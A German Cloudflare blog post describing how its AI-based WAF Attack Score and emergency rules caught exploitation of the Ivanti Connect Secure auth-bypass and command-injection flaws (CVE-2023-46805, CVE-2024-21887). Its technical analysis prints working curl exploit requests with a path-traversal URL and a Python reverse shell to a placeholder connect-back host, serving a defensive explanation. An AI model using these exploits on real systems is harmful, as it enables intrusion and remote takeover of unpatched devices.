Jetzt abonnieren, um Benachrichtigungen über neue Beiträge zu erhalten:

Vorbeugende Erkennung der Zero Day-Sicherheitslücke bei Ivanti Connect Secure durch die KI-gestützte WAF von Cloudflare

2024-01-23

Lesezeit: 3 Min.
Dieser Beitrag ist auch auf English, 繁體中文, Français, 日本語, 한국어, Português, Español, und 简体中文 verfügbar.

Die meisten WAF-Anbieter reagieren auf Schwachstellen erst, nachdem sie bereits entdeckt und ausgenutzt wurden. Wir dagegen glauben beim Umgang mit potenziellen Risiken an KI-gestützte Vorbeugung. Um zu verdeutlichen, was damit gemeint ist, möchten wir heute näher auf ein aktuelles Beispiel eingehen und erläutern, wie der KI-gestützte „Attack Score“ von Cloudflare und Notfallregeln der WAF gegen zwei kritische Sicherheitslücken (CVE-2023-46805 und CVE-2024-21887) eingesetzt wurden.

How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

Bedrohung durch CVE-2023-46805 und CVE-2024-21887

Eine Sicherheitslücke, mit der sich die Authentifizierung umgehen lässt (CVE-2023-46805) und eine Command Injection-Schwachstelle (CVE-2024-21887), die jeweils Ivanti-Produkte betreffen, wurden kürzlich von AttackerKB offengelegt und analysiert. Beide bergen erhebliche Risiken, weil sie Unbefugten Zugriff auf und Kontrolle über betroffene Systeme ermöglichen können. Im Folgenden werden wir darlegen, auf welche Weise sich diese Sicherheitslücken ausnutzen lassen.

Technische Analyse

Wie bei AttackerKB beschrieben , kann der Angreifer mit einem Befehl wie dem folgenden eine speziell gestaltete Anfrage an das Zielsystem senden:

Dieser Befehl richtet sich an einen Endpunkt (/license/keys-status/), der normalerweise durch Authentifizierung geschützt ist. Diese kann der Angreifer aber umgehen, indem er die URL so bearbeitet, dass sie /api/v1/totp/user-backup-code/../../license/keys-status/ einschließt. Bei diesem Vorgehen spricht man von Directory Traversal.

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Der im URL-Format kodierte Teil des Befehls wird in eine Python-Reverse-Shell dekodiert, was folgendermaßen aussieht:

Die Python-Reverse-Shell bietet dem Angreifer die Möglichkeit, die Kontrolle über das Zielsystem zu erlangen.

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

Die Sicherheitslücke besteht in der Art und Weise, in der das System den Parameter node_name verarbeitet. Ist ein Angreifer in der Lage, den Wert von node_name zu kontrollieren, kann er Befehle in das System einschleusen.

Zur näheren Erklärung: Bei dem Parameter „node_name“ handelt es sich um eine Komponente des Endpunkts /api/v1/license/keys-status/path:node_name, bei dem das Problem in erster Linie auftritt.

Der Angreifer kann eine GET-Anfrage an den URI-Pfad /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; senden. CMD steht dabei für jeden beliebigen Befehl, den er ausführen möchte. Dieser kann mit einem Strichpunkt in die Anfrage eingebunden werden. Um sicherzustellen, dass der Befehl vom System korrekt verarbeitet wird, muss er im URL-Format kodiert sein.

Wie im Blogbeitrag von AttackerKB beschrieben, wurde noch eine weitere Code Injection-Schwachstelle identifiziert. Bei dieser handelt es sich um eine authentifizierte Command Injection, die in einem anderen Teil des Systems entdeckt wurde.

Hier kann mit der gleichen Python-Reverse-Shell-Nutzlast wie bei der ersten Command Injection eine JSON-Struktur gebildet werden, um die Schwachstelle hervorzurufen. Da die Nutzlast im JSON-Format vorliegt, muss sie nicht im URL-Format kodiert sein:

Der Endpunkt /api/v1/system/maintenance/archiving/cloud-server-test-connection erfordert zwar eine Authentifizierung, dies kann von einem Angreifer aber durch eine Verkettung mit der zuvor erwähnten Directory Traversal-Sicherheitslücke umgangen werden. Er kann den nicht authentifizierten URI-Pfad /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection erstellen, um diesen Endpunkt zu erreichen und die Schwachstelle auszunutzen.

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Zur Ausführung eines nicht authentifizierten Betriebssystembefehls würde ein Angreifer eine cURL-Anfrage wie die folgende verwenden:

Cloudflare wendet eine vorbeugende Verteidigung an

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Die WAF von Cloudflare wird durch eine zusätzliche, KI-gestützte Ebene namens WAF Attack Score verstärkt. Diese dient dazu, Sicherheitslücken noch vor ihrer Veröffentlichung zu erkennen. Die Angriffsbewertung (der „Attack Score“) ist eine Einstufung des Grads der Bösartigkeit einer Anfrage. Bisher standen dabei drei Hauptkategorien im Fokus: XSS, SQLi und einige RCE-Varianten (Command Injection, ApacheLog4J usw.). Es wird ein Wert bzw. Score zwischen 1 und 99 vergeben. Je niedriger der Score, desto bösartiger die Anfrage. Im Allgemeinen gilt jede Anfrage mit einem Wert unter 20 als bösartig.

Schauen wir uns die Ergebnisse des oben vorgestellten Exploit-Beispiels für CVE-2023-46805 und CVE-2024-21887 im Cloudflare-Dashboard (Security > Events) an. Der Attack Score setzt sich aus drei Einzelbewertungen zusammen, die jeweils die Relevanz für eine bestimmte Angriffskategorie anzeigen. Darüber hinaus gibt es eine Gesamtbewertung. Dieser „WAF Attack Score“ bildet die gemeinsame Auswirkung der drei Einzel-Scores ab. In manchen Fällen wird die Gesamtbewertung durch eine der Unterbewertungen beeinflusst, wenn der Angriff einer bestimmten Kategorie entspricht. Im vorliegen Beispiel dominiert die Unterbewertung der Kategorie „WAF RCE Attack Score“, die eine Remote Code Execution-Schwachstelle anzeigt.

Darüber hinaus hat das KI-Modell für den Bereich „nicht authentifizierte Betriebssystembefehlsanfrage“, der ebenfalls zu den Kategorien bösartiger Anfragen zählt, einen WAF Attack Score von 19 ausgegeben. Erwähnenswert ist, dass es sich bei den Beispielbewertungen nicht um feste Werte handelt, sondern diese je nach Variante des eingehenden Angriffs variieren können.

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

Doch es gibt eine gute Nachricht: Kunden mit Enterprise- und Business-Tarifoption, bei denen die Funktion „WAF Attack Score“ aktiviert war, bei Business-Kunden in Verbindung mit einer Blockier-Regel im Fall von niedrigen Scores (z. B. [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20) oder ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eqattack“), waren bereits vor Bekanntgabe der Sicherheitslücke vor den bisher getesteten potenziellen Exploits geschützt.

Anwendung von Notfallregeln

Als Reaktion auf diese schwerwiegende Sicherheitslücke hat Cloudflare am 17. Januar 2024 Notfallregeln freigeschaltet. Dies geschah binnen 24 Stunden nach Veröffentlichung des Proof of Concept. Diese Regeln sind Teil der Managed Rules für die WAF und richten sich speziell gegen die Bedrohung durch CVE-2023-46805 und eine zusätzliche Sicherheitslücke, CVE-2024-21887, die ebenfalls mit Ivanti-Produkten in Verbindung steht. Diese Regeln namens „Ivanti – Auth Bypass, Command Injection – CVE:CVE-2023-46805, CVE:CVE-2024-21887“ wurden entwickelt, um Versuche der Ausnutzung dieser Schwachstellen zu unterbinden und Cloudflare-Nutzern zusätzlichen Schutz zu bieten.

Seitdem wir diese Regeln eingeführt haben, werden sie intensiv genutzt. So sind sie bis Redaktionsschluss mehr als 180.000 Mal ausgelöst worden.

.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}

Rule ID Description Default Action
New Managed Rule…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block
Legacy Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block

Regel-ID

Beschreibung

Standardmaßnahme

Neue Managed Rule…34ab53c5

Ivanti – Auth Bypass, Command Injection – CVE:CVE-2023-46805, CVE:CVE-2024-21887

Blockieren

Alte Managed Rule100622

Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887

Blockieren

Schlussfolgerungen und bewährte Vorgehensweisen

Die von Cloudflare gegen CVE-2023-46805 und CVE-2024-21887 ergriffenen Maßnahmen unterstreichen die Bedeutung solider Sicherheitsvorkehrungen. Um optimal geschützt zu sein, sollten Unternehmen, die Cloudflare-Dienste und insbesondere die WAF nutzen, darauf achten, dass die Regeln und Konfigurationen ihrer Systeme immer auf dem neusten Stand sind. Wir empfehlen Kunden außerdem, Regeln in Verbindung mit dem Attack Score einzusetzen, um ihr Sicherheitsniveau zu erhöhen. Wenn Sie mehr über den Attack Score erfahren möchten, wenden Sie sich gern an Ihren Ansprechpartner oder Ihre Ansprechpartnerin bei Cloudflare.

Fazit

Der vorausschauende Cybersicherheitsansatz von Cloudflare, bei dem KI zur Identifizierung und Abwehr von Angriffen zum Einsatz kommt, wurde anhand unseres Umgangs mit CVE-2023-46805 und CVE-2024-21887 veranschaulicht. Dieses Beispiel zeigt, wie sich Bedrohungen und Angriffe erkennen lassen, noch bevor sie veröffentlicht und Sicherheitslücken offengelegt werden. Durch kontinuierliche Überwachung und schnelles Reagieren auf Schwachstellen stellen wir sicher, dass Cloudflare-Kunden in einem immer komplexen digitalen Umfeld weiterhin gut geschützt sind.

Wir schützen komplette Firmennetzwerke, helfen Kunden dabei, Internetanwendungen effizient zu erstellen, jede Website oder Internetanwendung zu beschleunigen, DDoS-Angriffe abzuwehren, Hacker in Schach zu halten, und unterstützen Sie bei Ihrer Umstellung auf Zero Trust.

Greifen Sie von einem beliebigen Gerät auf 1.1.1.1 zu und nutzen Sie unsere kostenlose App, die Ihr Internet schneller und sicherer macht.

Wenn Sie mehr über unsere Mission, das Internet besser zu machen, erfahren möchten, beginnen Sie hier. Sie möchten sich beruflich neu orientieren? Dann werfen Sie doch einen Blick auf unsere offenen Stellen.
VulnerabilitiesWAF RulesWAFWAF Attack ScoreZero Day Threats (DE)AI WAF

Folgen auf X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Verwandte Beiträge

09. Juli 2024 um 12:00

RADIUS/UDP vulnerable to improved MD5 collision attack

The RADIUS protocol is commonly used to control administrative access to networking gear. Despite its importance, RADIUS hasn’t changed much in decades. We discuss an attack on RADIUS as a case study for why it’s important for legacy protocols to keep up with advancements in cryptography...